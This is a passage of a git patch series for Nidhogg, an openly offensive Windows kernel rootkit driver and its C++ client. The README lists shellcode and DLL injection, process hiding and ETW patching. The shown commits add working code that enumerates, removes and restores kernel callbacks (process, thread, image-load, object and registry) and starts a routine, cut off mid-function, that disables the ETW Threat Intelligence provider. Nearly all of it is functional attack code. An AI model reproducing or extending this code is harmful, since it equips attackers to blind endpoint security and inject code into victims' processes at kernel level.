targetFunctionSigLen); - listCountSigLen = sizeof(PspArrayCountSignature); + listCountSigLen = sizeof(RoutinesListCountSignature); listCountSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listCountSigLen, DRIVER_TAG); if (!listCountSignature) { status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } - RtlCopyMemory(listCountSignature, PspArrayCountSignature, listCountSigLen); - countOffset = PspArrayCountOffset; + RtlCopyMemory(listCountSignature, RoutinesListCountSignature, listCountSigLen); + countOffset = RoutinesListOffset; PLONG searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)targetFunctionSignature, 0xCC, targetFunctionSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, targetFunctionSigLen - 1); - if (!searchedRoutineOffset) - return STATUS_NOT_FOUND; + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } - searchedRoutineAddress = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + PsNotifyRoutinesRoutineOffset; + searchedRoutineAddress = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset)+foundIndex + CallFunctionOffset; PLONG routinesListOffset = (PLONG)FindPattern((PCUCHAR)listSignature, 0xCC, listSigLen - 1, searchedRoutineAddress, listDistance, &foundIndex, listSigLen); - if (!routinesListOffset) - return STATUS_NOT_FOUND; + if (!routinesListOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } - PUCHAR routinesList = (PUCHAR)searchedRoutineAddress + *(routinesListOffset) + foundIndex + RoutinesListOffset; + PUCHAR routinesList = (PUCHAR)searchedRoutineAddress + *(routinesListOffset)+foundIndex + RoutinesListOffset; PLONG routinesLengthOffset = (PLONG)FindPattern((PCUCHAR)listCountSignature, 0xCC, listCountSigLen - 1, searchedRoutineAddress, listDistance, &foundIndex, listCountSigLen - 1); - if (!routinesLengthOffset) - return STATUS_NOT_FOUND; + if (!routinesLengthOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } if (Callbacks->Type == PsCreateProcessType) countOffset = PsNotifyRoutinesRoutineCountOffset; else if (Callbacks->Type == PsCreateThreadTypeNonSystemThread) countOffset = PsNotifyRoutinesRoutineCountOffset; - - ULONG routinesCount = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); + + ULONG routinesCount = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset)+foundIndex + countOffset); for (SIZE_T i = 0; i < routinesCount; i++) { currentRoutine = *(PULONG64)(routinesList + (i * 8)); @@ -370,7 +552,7 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks) { NTSTATUS status = STATUS_SUCCESS; PFULL_OBJECT_TYPE objectType = NULL; - CHAR driverName[MAX_DRIVER_PATH] = {0}; + CHAR driverName[MAX_DRIVER_PATH] = { 0 }; ULONG index = 0; switch (Callbacks->Type) { @@ -415,7 +597,7 @@ NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks) { strcpy_s(Callbacks->Callbacks[index].DriverName, driverName); Callbacks->Callbacks[index].PreOperation = currentObjectCallback->PreOperation; - } + } index++; } currentObjectCallback = (POB_CALLBACK_ENTRY)currentObjectCallback->CallbackList.Flink; @@ -626,4 +808,20 @@ void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN */ void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { return; -} \ No newline at end of file +} + +/* +* Description: +* RegistryCallbackDummyFunction is a dummy function for registry callbacks. +* +* Parameters: +* @CallbackContext [PVOID] -- Unused. +* @Argument1 [PVOID] -- Unused. +* @Argument2 [PVOID] -- Unused. +* +* Returns: +* STATUS_SUCCESS always. +*/ +NTSTATUS RegistryCallbackDummyFunction(PVOID CallbackContext, PVOID Argument1, PVOID Argument2) { + return STATUS_SUCCESS; +} diff --git a/Nidhogg/NidhoggDeviceControl.hpp b/Nidhogg/NidhoggDeviceControl.hpp index 2bd7479..7accbb3 100644 --- a/Nidhogg/NidhoggDeviceControl.hpp +++ b/Nidhogg/NidhoggDeviceControl.hpp @@ -34,8 +34,9 @@ #define IOCTL_NIDHOGG_LIST_OBCALLBACKS CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_LIST_PSROUTINES CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS) // ******************************************************************************************************* /* @@ -1178,6 +1179,21 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { len += sizeof(PsRoutinesList); break; } + case IOCTL_NIDHOGG_LIST_REGCALLBACKS: + { + auto size = stack->Parameters.DeviceIoControl.InputBufferLength; + + if (size % sizeof(CmCallbacksList) != 0) { + status = STATUS_INVALID_BUFFER_SIZE; + break; + } + + auto data = (CmCallbacksList*)Irp->AssociatedIrp.SystemBuffer; + status = ListRegistryCallbacks(data, NULL, NULL); + + len += sizeof(CmCallbacksList); + break; + } case IOCTL_NIDHOGG_REMOVE_CALLBACK: { @@ -1202,7 +1218,8 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { case PsCreateThreadType: case PsCreateThreadTypeNonSystemThread: case ObProcessType: - case ObThreadType: { + case ObThreadType: + case CmRegistryType: { status = RemoveCallback(data); break; } @@ -1240,7 +1257,8 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { case PsCreateThreadType: case PsCreateThreadTypeNonSystemThread: case ObProcessType: - case ObThreadType: { + case ObThreadType: + case CmRegistryType: { status = RestoreCallback(data); break; } diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index 3ec75cb..ed4474e 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -42,7 +42,8 @@ enum CallbackType { PsCreateProcessType, PsCreateThreadType, PsCreateThreadTypeNonSystemThread, - PsImageLoadType + PsImageLoadType, + CmRegistryType }; struct KernelCallback { @@ -67,6 +68,12 @@ struct PsRoutine { CHAR DriverName[MAX_DRIVER_PATH]; }; +struct CmCallback { + ULONG64 CallbackAddress; + ULONG64 Context; + CHAR DriverName[MAX_DRIVER_PATH]; +}; + struct ObCallbacksList { CallbackType Type; ULONG NumberOfCallbacks; @@ -79,6 +86,11 @@ struct PsRoutinesList { PsRoutine* Routines; }; +struct CmCallbacksList { + ULONG NumberOfCallbacks; + CmCallback* Callbacks; +}; + struct AntiAnalysisGlobals { DisabledKernelCallback DisabledCallbacks[MAX_KERNEL_CALLBACKS]; ULONG DisabledCallbacksCount; diff --git a/Nidhogg/WindowsTypes.hpp b/Nidhogg/WindowsTypes.hpp index 24c07b2..efc7d6e 100644 --- a/Nidhogg/WindowsTypes.hpp +++ b/Nidhogg/WindowsTypes.hpp @@ -246,6 +246,15 @@ typedef struct _REAL_PEB { // Undocumented. extern "C" POBJECT_TYPE* IoDriverObjectType; +typedef struct _CM_CALLBACK { + LIST_ENTRY List; + ULONG64 Unknown1[2]; + ULONG64 Context; + ULONG64 Function; + UNICODE_STRING Altitude; + ULONG64 Unknown2[2]; +} CM_CALLBACK, * PCM_CALLBACK; + typedef VOID(*PKNORMAL_ROUTINE) ( PVOID NormalContext, PVOID SystemArgument1, diff --git a/README.md b/README.md index d66bb3d..b187124 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,9 @@ This repository contains a kernel driver with a C++ header to communicate with i - Can be reflectively loaded - Shellcode Injection (APC & NtCreateThreadEx) - DLL Injection (APC & NtCreateThreadEx) +- Querying kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) +- Removing and restoring kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) +- Disable ETWTI ## Reflective loading @@ -43,7 +46,6 @@ Since version v0.3, Nidhogg can be reflectively loaded with [kdmapper](https://g These are the features known to me that will trigger [PatchGuard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection), you can still use them at your own risk. - Process hiding -- Thread hiding - File protecting ## Basic Usage @@ -54,6 +56,7 @@ It has a very simple usage, just include the header and get started! #include "Nidhogg.hpp" int main() { + HANDLE hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); // ... DWORD result = Nidhogg::ProcessUtils::NidhoggProcessProtect(pids); // ... From acf8aa4e5c91b47e1494ea6667c8d8ae47acb492 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sat, 6 May 2023 18:23:49 +0300 Subject: [PATCH 5/9] Updated README --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b187124..42347d4 100644 --- a/README.md +++ b/README.md @@ -30,8 +30,11 @@ This repository contains a kernel driver with a C++ header to communicate with i - Shellcode Injection (APC & NtCreateThreadEx) - DLL Injection (APC & NtCreateThreadEx) - Querying kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) + - - ObCallbacks + - - Process and thread creation routines + - - Image loading routines + - - Registry callbacks - Removing and restoring kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) -- Disable ETWTI ## Reflective loading From bb0be024d11a7a007b8e1c3b9765e3f21f1cf120 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sat, 6 May 2023 18:23:55 +0300 Subject: [PATCH 6/9] Updated client --- Example/NidhoggExample.cpp | 142 +++++++++++++++++++++++++++++ NidhoggClient/Nidhogg.hpp | 181 +++++++++++++++++++++++++++++++++++++ 2 files changed, 323 insertions(+) diff --git a/Example/NidhoggExample.cpp b/Example/NidhoggExample.cpp index 8a44867..b6d5121 100644 --- a/Example/NidhoggExample.cpp +++ b/Example/NidhoggExample.cpp @@ -20,6 +20,7 @@ void PrintUsage() { std::cout << "\tNidhoggClient.exe [write | read] [pid] [remote address] [size] [mode]" << std::endl; std::cout << "\tNidhoggClient.exe shinject [apc | thread] [pid] [shellcode file] [parameter 1] [parameter 2] [parameter 3]" << std::endl; std::cout << "\tNidhoggClient.exe dllinject [apc | thread] [pid] [dll path]" << std::endl; + std::cout << "\tNidhoggClient.exe callbacks [query | remove | restore] [callback type] [callback address]" << std::endl; } int Error(int errorCode) { @@ -147,6 +148,32 @@ int wmain(int argc, const wchar_t* argv[]) { success = Nidhogg::RegistryUtils::NidhoggRegistryProtectKey(hNidhogg, _wcsdup(argv[3])); } } + else if (_wcsicmp(argv[1], L"callbacks") == 0) { + CallbackType callbackType; + ULONG64 address = 0; + + if (_wcsicmp(argv[3], L"ObProcessType") == 0) + callbackType = ObProcessType; + else if (_wcsicmp(argv[3], L"ObThreadType") == 0) + callbackType = ObThreadType; + else if (_wcsicmp(argv[3], L"PsProcessType") == 0) + callbackType = PsCreateProcessType; + else if (_wcsicmp(argv[3], L"PsProcessTypeEx") == 0) + callbackType = PsCreateProcessTypeEx; + else if (_wcsicmp(argv[3], L"PsCreateThreadType") == 0) + callbackType = PsCreateThreadType; + else if (_wcsicmp(argv[3], L"PsCreateThreadTypeNonSystemThread") == 0) + callbackType = PsCreateThreadTypeNonSystemThread; + else if (_wcsicmp(argv[3], L"PsImageLoadType") == 0) + callbackType = PsImageLoadType; + else { + success = NIDHOGG_INVALID_OPTION; + break; + } + std::wistringstream iss(argv[4]); + iss >> address; + success = Nidhogg::AntiAnalysis::NidhoggRestoreCallback(hNidhogg, address, callbackType); + } else { success = NIDHOGG_INVALID_OPTION; } @@ -172,6 +199,32 @@ int wmain(int argc, const wchar_t* argv[]) { success = Nidhogg::RegistryUtils::NidhoggRegistryUnprotectKey(hNidhogg, _wcsdup(argv[3])); } } + else if (_wcsicmp(argv[1], L"callbacks") == 0) { + CallbackType callbackType; + ULONG64 address = 0; + + if (_wcsicmp(argv[3], L"ObProcessType") == 0) + callbackType = ObProcessType; + else if (_wcsicmp(argv[3], L"ObThreadType") == 0) + callbackType = ObThreadType; + else if (_wcsicmp(argv[3], L"PsProcessType") == 0) + callbackType = PsCreateProcessType; + else if (_wcsicmp(argv[3], L"PsProcessTypeEx") == 0) + callbackType = PsCreateProcessTypeEx; + else if (_wcsicmp(argv[3], L"PsCreateThreadType") == 0) + callbackType = PsCreateThreadType; + else if (_wcsicmp(argv[3], L"PsCreateThreadTypeNonSystemThread") == 0) + callbackType = PsCreateThreadTypeNonSystemThread; + else if (_wcsicmp(argv[3], L"PsImageLoadType") == 0) + callbackType = PsImageLoadType; + else { + success = NIDHOGG_INVALID_OPTION; + break; + } + std::wistringstream iss(argv[4]); + iss >> address; + success = Nidhogg::AntiAnalysis::NidhoggDisableCallback(hNidhogg, address, callbackType); + } else { success = NIDHOGG_INVALID_OPTION; } @@ -399,6 +452,95 @@ int wmain(int argc, const wchar_t* argv[]) { } } + else if (_wcsicmp(argv[1], L"callbacks") == 0) { + if (argc != 4) { + success = NIDHOGG_INVALID_OPTION; + break; + } + CallbackType callbackType; + + if (_wcsicmp(argv[3], L"ObProcessType") == 0) + callbackType = ObProcessType; + else if (_wcsicmp(argv[3], L"ObThreadType") == 0) + callbackType = ObThreadType; + else if (_wcsicmp(argv[3], L"PsProcessType") == 0) + callbackType = PsCreateProcessType; + else if (_wcsicmp(argv[3], L"PsProcessTypeEx") == 0) + callbackType = PsCreateProcessTypeEx; + else if (_wcsicmp(argv[3], L"PsCreateThreadType") == 0) + callbackType = PsCreateThreadType; + else if (_wcsicmp(argv[3], L"PsCreateThreadTypeNonSystemThread") == 0) + callbackType = PsCreateThreadTypeNonSystemThread; + else if (_wcsicmp(argv[3], L"PsImageLoadType") == 0) + callbackType = PsImageLoadType; + else if (_wcsicmp(argv[3], L"CmRegistryType") == 0) + callbackType = CmRegistryType; + else { + success = NIDHOGG_INVALID_OPTION; + break; + } + + if (callbackType == ObProcessType || callbackType == ObThreadType) { + ObCallbacksList callbacks{}; + ObCallback currentCallback; + + callbacks = Nidhogg::AntiAnalysis::NidhoggListObCallbacks(hNidhogg, callbackType, &success); + + if (success == NIDHOGG_SUCCESS) { + for (int i = 0; i < callbacks.NumberOfCallbacks; i++) { + currentCallback = callbacks.Callbacks[i]; + + if (currentCallback.DriverName) + std::cout << "Driver Name: " << currentCallback.DriverName << std::endl; + else + std::cout << "Driver Name: Unknown" << std::endl; + std::cout << "\tPre operation callback: " << std::hex << currentCallback.PreOperation << std::endl; + std::cout << "\tPost operation callback: " << std::hex << currentCallback.PostOperation << std::endl; + } + + free(callbacks.Callbacks); + } + } + else if (callbackType == CmRegistryType) { + CmCallbacksList callbacks{}; + CmCallback currentCallback; + + callbacks = Nidhogg::AntiAnalysis::NidhoggListRegistryCallbacks(hNidhogg, &success); + + if (success == NIDHOGG_SUCCESS) { + for (int i = 0; i < callbacks.NumberOfCallbacks; i++) { + currentCallback = callbacks.Callbacks[i]; + + if (currentCallback.DriverName) + std::cout << "Driver Name: " << currentCallback.DriverName << std::endl; + else + std::cout << "Driver Name: Unknown" << std::endl; + std::cout << "\tCallback: " << std::hex << currentCallback.CallbackAddress << std::endl; + std::cout << "\tContext: " << std::hex << currentCallback.Context << std::endl; + } + + free(callbacks.Callbacks); + } + } + else { + PsRoutinesList routines{}; + PsRoutine currentRoutine; + routines = Nidhogg::AntiAnalysis::NidhoggListPsRoutines(hNidhogg, callbackType, &success); + + if (success == NIDHOGG_SUCCESS) { + for (int i = 0; i < routines.NumberOfRoutines; i++) { + currentRoutine = routines.Routines[i]; + + if (currentRoutine.DriverName) + std::cout << "Driver Name: " << currentRoutine.DriverName << std::endl; + else + std::cout << "Driver Name: Unknown" << std::endl; + std::cout << "\tCallback: " << std::hex << currentRoutine.CallbackAddress << std::endl; + } + } + } + } + else { success = NIDHOGG_INVALID_OPTION; } diff --git a/NidhoggClient/Nidhogg.hpp b/NidhoggClient/Nidhogg.hpp index a189f02..bdbae71 100644 --- a/NidhoggClient/Nidhogg.hpp +++ b/NidhoggClient/Nidhogg.hpp @@ -1,3 +1,4 @@ +#pragma once #include #include #include @@ -35,9 +36,16 @@ #define IOCTL_NIDHOGG_READ_DATA CTL_CODE(0x8000, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_INJECT_SHELLCODE CTL_CODE(0x8000, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_INJECT_DLL CTL_CODE(0x8000, 0x819, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define IOCTL_NIDHOGG_LIST_OBCALLBACKS CTL_CODE(0x8000, 0x81A, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_LIST_PSROUTINES CTL_CODE(0x8000, 0x81B, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS) // ******************************************************************************************************* // ** General Definitions *************************************************************************************** +// ADD THESE DEFINITIONS FOR HKLM, HKU & HKCU: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/registry-key-object-routines #define DRIVER_NAME LR"(\\.\Nidhogg)" #define NIDHOGG_SUCCESS 0 #define NIDHOGG_GENERAL_ERROR 1 @@ -48,11 +56,13 @@ #define MAX_PATCHED_MODULES 256 #define MAX_FILES 256 +#define MAX_DRIVER_PATH 256 #define PROCESS_TYPE_PROTECTED 0 #define PROCESS_TYPE_SPOOFED 1 #define MAX_PIDS 256 #define MAX_TIDS 256 +#define MAX_ROUTINES 64 #define REG_TYPE_PROTECTED_KEY 0 #define REG_TYPE_PROTECTED_VALUE 1 @@ -103,9 +113,59 @@ enum InjectionType { NtCreateThreadExInjection }; +enum CallbackType { + ObProcessType, + ObThreadType, + PsCreateProcessTypeEx, + PsCreateProcessType, + PsCreateThreadType, + PsCreateThreadTypeNonSystemThread, + PsImageLoadType, + CmRegistryType +}; + // ********************************************************************************************************* // ** General Structures *************************************************************************************** +struct KernelCallback { + CallbackType Type; + ULONG64 CallbackAddress; +}; + +struct ObCallback { + PVOID PreOperation; + PVOID PostOperation; + CHAR DriverName[MAX_DRIVER_PATH]; +}; + +struct PsRoutine { + ULONG64 CallbackAddress; + CHAR DriverName[MAX_DRIVER_PATH]; +}; + +struct CmCallback { + ULONG64 CallbackAddress; + ULONG64 Context; + CHAR DriverName[MAX_DRIVER_PATH]; +}; + +struct ObCallbacksList { + CallbackType Type; + ULONG NumberOfCallbacks; + ObCallback* Callbacks; +}; + +struct PsRoutinesList { + CallbackType Type; + ULONG NumberOfRoutines; + PsRoutine* Routines; +}; + +struct CmCallbacksList { + ULONG NumberOfCallbacks; + CmCallback* Callbacks; +}; + struct PatchedModule { ULONG Pid; PVOID Patch; @@ -996,4 +1056,125 @@ namespace Nidhogg { return data; } } + + namespace AntiAnalysis { + int NidhoggDisableCallback(HANDLE hNidhogg, ULONG64 callbackAddress, CallbackType callbackType) { + KernelCallback callback{}; + DWORD returned; + + callback.CallbackAddress = callbackAddress; + callback.Type = callbackType; + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_REMOVE_CALLBACK, + &callback, sizeof(callback), + nullptr, 0, &returned, nullptr)) + return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NIDHOGG_SUCCESS; + } + + int NidhoggRestoreCallback(HANDLE hNidhogg, ULONG64 callbackAddress, CallbackType callbackType) { + KernelCallback callback{}; + DWORD returned; + + callback.CallbackAddress = callbackAddress; + callback.Type = callbackType; + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_RESTORE_CALLBACK, + &callback, sizeof(callback), + nullptr, 0, &returned, nullptr)) + return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NIDHOGG_SUCCESS; + } + + CmCallbacksList NidhoggListRegistryCallbacks(HANDLE hNidhogg, int* success) { + CmCallbacksList callbacks{}; + DWORD returned; + callbacks.Callbacks = (CmCallback*)malloc(MAX_ROUTINES * sizeof(CmCallback)); + + if (!callbacks.Callbacks) { + *success = NIDHOGG_GENERAL_ERROR; + return callbacks; + } + memset(callbacks.Callbacks, 0, MAX_ROUTINES * sizeof(PsRoutine)); + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_LIST_REGCALLBACKS, + &callbacks, sizeof(callbacks), + &callbacks, sizeof(callbacks), &returned, nullptr)) { + *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + free(callbacks.Callbacks); + return callbacks; + } + *success = NIDHOGG_SUCCESS; + return callbacks; + } + + PsRoutinesList NidhoggListPsRoutines(HANDLE hNidhogg, CallbackType callbackType, int* success) { + PsRoutinesList routines{}; + DWORD returned; + routines.Type = callbackType; + routines.Routines = (PsRoutine*)malloc(MAX_ROUTINES * sizeof(PsRoutine)); + + if (!routines.Routines) { + *success = NIDHOGG_GENERAL_ERROR; + return routines; + } + memset(routines.Routines, 0, MAX_ROUTINES * sizeof(PsRoutine)); + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_LIST_PSROUTINES, + &routines, sizeof(routines), + &routines, sizeof(routines), &returned, nullptr)) { + *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + free(routines.Routines); + return routines; + } + *success = NIDHOGG_SUCCESS; + + return routines; + } + + ObCallbacksList NidhoggListObCallbacks(HANDLE hNidhogg, CallbackType callbackType, int* success) { + ObCallbacksList callbacks{}; + DWORD returned; + callbacks.NumberOfCallbacks = 0; + callbacks.Type = callbackType; + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_LIST_OBCALLBACKS, + &callbacks, sizeof(callbacks), + &callbacks, sizeof(callbacks), &returned, nullptr)) { + *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + return callbacks; + } + + if (callbackType == ObProcessType || callbackType == ObThreadType) { + if (callbacks.NumberOfCallbacks > 0) { + switch (callbackType) { + case ObProcessType: + case ObThreadType: + callbacks.Callbacks = (ObCallback*)malloc(callbacks.NumberOfCallbacks * sizeof(ObCallback)); + + if (!callbacks.Callbacks) { + *success = NIDHOGG_GENERAL_ERROR; + return callbacks; + } + memset(callbacks.Callbacks, 0, callbacks.NumberOfCallbacks * sizeof(ObCallback)); + + break; + } + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_LIST_OBCALLBACKS, + &callbacks, sizeof(callbacks), + &callbacks, sizeof(callbacks), &returned, nullptr)) { + free(callbacks.Callbacks); + *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + return callbacks; + } + } + } + + *success = NIDHOGG_SUCCESS; + return callbacks; + } + } } From 29d87f2fd02b0cc4cadd1e36bf75ed4af20b40e0 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sat, 6 May 2023 18:26:49 +0300 Subject: [PATCH 7/9] Updated README --- README.md | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 42347d4..db93715 100644 --- a/README.md +++ b/README.md @@ -27,14 +27,18 @@ This repository contains a kernel driver with a C++ header to communicate with i - Built-in ETW patch - Process signature (PP/PPL) modification - Can be reflectively loaded -- Shellcode Injection (APC & NtCreateThreadEx) -- DLL Injection (APC & NtCreateThreadEx) -- Querying kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) - - - ObCallbacks - - - Process and thread creation routines - - - Image loading routines - - - Registry callbacks -- Removing and restoring kernel callbacks (ObCallbacks, process and thread creation callbacks, image loading callbacks and registry callbacks) +- Shellcode Injection + - APC + - NtCreateThreadEx +- DLL Injection + - APC + - NtCreateThreadEx +- Querying kernel callbacks + - ObCallbacks + - Process and thread creation routines + - Image loading routines + - Registry callbacks +- Removing and restoring kernel callbacks ## Reflective loading From 8fbcdaf98f835c43fc52ac61cbfd6e138444b815 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sun, 7 May 2023 11:02:26 +0300 Subject: [PATCH 8/9] Added ETWTI disable --- Nidhogg/AntiAnalysis.hpp | 80 ++++++- Nidhogg/Nidhogg.cpp | 16 ++ Nidhogg/NidhoggDeviceControl.hpp | 32 +++ Nidhogg/NidhoggUtils.h | 3 + Nidhogg/WindowsTypes.hpp | 400 ++++++++++++++++++------------- 5 files changed, 358 insertions(+), 173 deletions(-) diff --git a/Nidhogg/AntiAnalysis.hpp b/Nidhogg/AntiAnalysis.hpp index 863156b..755c550 100644 --- a/Nidhogg/AntiAnalysis.hpp +++ b/Nidhogg/AntiAnalysis.hpp @@ -1,6 +1,8 @@ #pragma once #include "pch.h" +constexpr UCHAR EtwThreatIntProvRegHandleSignature1[] = {0x60, 0x4C, 0x8B, 0xCC}; +constexpr UCHAR EtwThreatIntProvRegHandleSignature2[] = {0xD2, 0x48, 0x8B, 0xCC}; constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC }; constexpr UCHAR PspCreateThreadNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; constexpr UCHAR PspLoadImageNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; @@ -9,6 +11,8 @@ constexpr UCHAR CmpCallbackListLockSignature[] = { 0x48, 0x8D, 0xCC }; constexpr UCHAR CmpInsertCallbackInListByAltitudeSignature[] = { 0x8B, 0xCB, 0xE8, 0xCC }; constexpr UCHAR CallFunctionSignature[] = { 0xE8, 0xCC }; constexpr UCHAR RoutinesListCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; +constexpr SIZE_T EtwThreatIntProvRegHandleDistance = 0x29D; +constexpr SIZE_T EtwGuidEntryOffset = 0x20; constexpr SIZE_T CallbackListHeadSignatureDistance = 0xC4; constexpr SIZE_T CmpCallbackListLockSignatureDistance = 0x4A; constexpr SIZE_T CmpInsertCallbackInListByAltitudeSignatureDistance = 0x108; @@ -19,6 +23,7 @@ constexpr SIZE_T PsSetLoadImageNotifyRoutineExDistance = 0xF; constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; constexpr SIZE_T PspCreateThreadNotifyRoutineDistance = 0x9B; constexpr SIZE_T PspLoadImageNotifyRoutineDistance = 0x10B; +constexpr SIZE_T EtwThreatIntProvRegHandleOffset = 8; constexpr SIZE_T CallFunctionOffset = 5; constexpr SIZE_T CmpInsertCallbackInListByAltitudeOffset = 7; constexpr SIZE_T CmpCallbackListLockOffset = 7; @@ -26,6 +31,7 @@ constexpr SIZE_T CallbacksListCountOffset = 3; constexpr SIZE_T RoutinesListOffset = 7; constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB; +NTSTATUS EnableDisableEtwTI(bool enable); NTSTATUS RestoreCallback(KernelCallback* Callback); NTSTATUS RemoveCallback(KernelCallback* Callback); NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks); @@ -42,6 +48,78 @@ NTSTATUS RegistryCallbackDummyFunction(PVOID CallbackContext, PVOID Argument1, P NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback); NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback); +/* +* Description: +* EnableDisableEtwTI is responsible to enable or disable ETWTI. +* +* Parameters: +* @enable [bool] -- Whether to enable or disable ETWTI. +* +* Returns: +* @status [NTSTATUS] -- Whether successfuly enabled or disabled. +*/ +NTSTATUS EnableDisableEtwTI(bool enable) { + NTSTATUS status = STATUS_SUCCESS; + EX_PUSH_LOCK etwThreatIntLock = NULL; + ULONG foundIndex = 0; + SIZE_T bytesWritten = 0; + SIZE_T etwThreatIntProvRegHandleSigLen = sizeof(EtwThreatIntProvRegHandleSignature1); + UCHAR* etwThreatIntProvRegHandleSig = (UCHAR*)ExAllocatePoolWithTag(PagedPool, etwThreatIntProvRegHandleSigLen, DRIVER_TAG); + + if (!etwThreatIntProvRegHandleSig) + return STATUS_INSUFFICIENT_RESOURCES; + RtlCopyMemory(etwThreatIntProvRegHandleSig, EtwThreatIntProvRegHandleSignature1, etwThreatIntProvRegHandleSigLen); + + AutoLock lock(aaGlobals.Lock); + PVOID searchedRoutineAddress = (PVOID)KeInsertQueueApc; + SIZE_T targetFunctionDistance = EtwThreatIntProvRegHandleDistance; + PLONG searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)etwThreatIntProvRegHandleSig, 0xCC, etwThreatIntProvRegHandleSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, etwThreatIntProvRegHandleSigLen); + + if 